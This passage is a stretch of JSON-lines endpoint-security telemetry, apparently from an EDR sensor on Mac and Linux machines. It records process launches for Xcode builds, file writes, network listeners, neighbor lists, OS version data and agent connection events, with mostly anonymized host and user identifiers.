bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"} -{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"} -{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"} -{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"} -{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"} -{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"} -{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"} -{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"} -{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"} -{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"} -{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"} -{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} -{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"} -{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"} 